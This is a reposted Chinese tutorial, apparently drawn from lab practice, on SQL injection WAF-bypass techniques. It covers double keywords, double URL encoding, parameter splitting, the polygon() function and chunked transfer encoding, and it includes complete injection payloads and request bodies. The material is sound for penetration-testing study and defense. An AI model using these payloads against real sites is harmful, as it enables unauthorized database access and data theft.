我是靠谱客的博主 懵懂山水,最近开发中收集的这篇文章主要介绍web安全之SQL注入绕过技术(四)SQL注入绕过技术(四),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文中详细讲解web安全之SQL注入的绕过技术,通过文中内容更加深入的掌握SQL注入绕过技术原理及使用方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

SQL注入绕过技术(四)

使用双关键词绕过

部分程序会对union select进行转空,但是这样就会留下安全隐患,当我们使用双关键字时,程序就只会对一个union或select进行转空,而剩下就会被带入数据库查询:

?name=1%27UNIunionON%20SeLselectECT%201,2--+&submit=1

这样我们就可以通过双关键词来对程序进行绕过。

二次编码绕过

有些程序会解析二次编码,从而造成SQL注入,因为url两次编码后,waf是不会拦截。

1'union select 1,version()--

在这里插入图片描述
当我们将这条语句进行url编码后,我们可以看出语句被中间件apache iis都会自动转为字符
在这里插入图片描述
所以当服务器中存在防护软件,进行一次编码是会被检测出来。
那么我们将字符进行两次编码后,测试可看出中间件是不会将其转为字符的。
在这里插入图片描述
而二次编码通常会在开启了gpc或者waf拦截时使用,且从源码中我们可以看出只要有值过来,会直接使用urldecode这个函数来进行解码
在这里插入图片描述
因为二次编码,且代码里有urldecode这个函数对字符url解码,那么当我们将语句进行二次编码后,系统会使用代码里urldecode函数来进行解码,然后中间件会将只有一次编码的语句再次转为字符,这样我们就成功绕过gpc 字符转义,从而成功突破waf拦截。

http://192.168.1.6/09/vul/s2.php?id=%25%32%64%25%33%31%25%32%37%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%63%25%33%33%25%32%63%25%33%34%25%32%64%25%32%64%25%32%30

在这里插入图片描述

多参数拆分绕过

当我们有多个参数时,可以将注入语句分割插入,从而实现绕过waf。
在这里插入图片描述
从代码中可以看出gpc开启,但参数是可控的,那么就可以使用参数拆分请求来绕过。

?id=-1'union /*&username=*/select%201,version(),3,4--+admin

原理首先是因为参数可控,这样使用拆分即可绕过,因为/这里面会被注释/,从而使语句拼接带入查询,实现绕过。
在这里插入图片描述

生僻函数绕过

当存在报错注入时,通常很多waf都会对updatexml函数进行拦截,那么我们可以使用polygon这个函数来代替,从而实现绕过。

select polygon((select * from (select * from (select @@version) f) x));

分块传输绕过

使用分块传输 首先在 http 头加上 Transfer-Encoding: chunked 表示分块传输传送 ,第一行是长度 第二行是字符串 0 表示传输结束 后面跟上两个空格。
同样我们可以使用burp中的插件chunked-coding-converter来进行编码提交
在这里插入图片描述

Encoding request body #编码请求体
Decoding request body #解码请求体

将请求体进行编码后

Transfer-Encoding: chunked #关键词
2;U0AdYl8YQmBU #id就是2个字符长度,冒号后面的这一段属于随机数,可以来扰乱waf的判断,从而实现绕过
id
1;nunH1I2A
=
2;ovZ85KYwTyzAfONDMCKR
-1
1;y3v35shr
+
3;HwPIJlwJ8FTDd814iuBQan1KC
uni
3;Vv95CuRtwWoIU2OL
on+
1;IUID61wTZ4DZ7w838gkaDf
s
3;tJFTj0o
ele
1;oSwJ6YklXZigzFI2ey20tLS
c
2;sP5Rob
t+
1;YCxoT5DlEbGaefPvjXI
1
1;mDIISDWOLQ8DfkwpaKwfTto
,
1;4Yeoeo2cdazFrqk4
u
1;F15AeyyJ
s
3;Bn42IGX
er(
3;kHZOvp62
)--
1;2PDAJKg0S
+
3;TG3meCAL
&su
1;JhzbgDXT8HJwrEjYWf08v
b
1;46K8YzRZgXWsnmex
m
1;DAGL7VbgPjCB
i
2;tzsWx7sxleXm2XGyKpTM
t=
1;3rGSMnXmlhxvvFeG
1
0

这里可以看出,可成功获取数据。
在这里插入图片描述

最后

以上就是懵懂山水为你收集整理的web安全之SQL注入绕过技术(四)SQL注入绕过技术(四)的全部内容,希望文章能够帮你解决web安全之SQL注入绕过技术(四)SQL注入绕过技术(四)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(39)

评论列表共有 0 条评论

立即
投稿
返回
顶部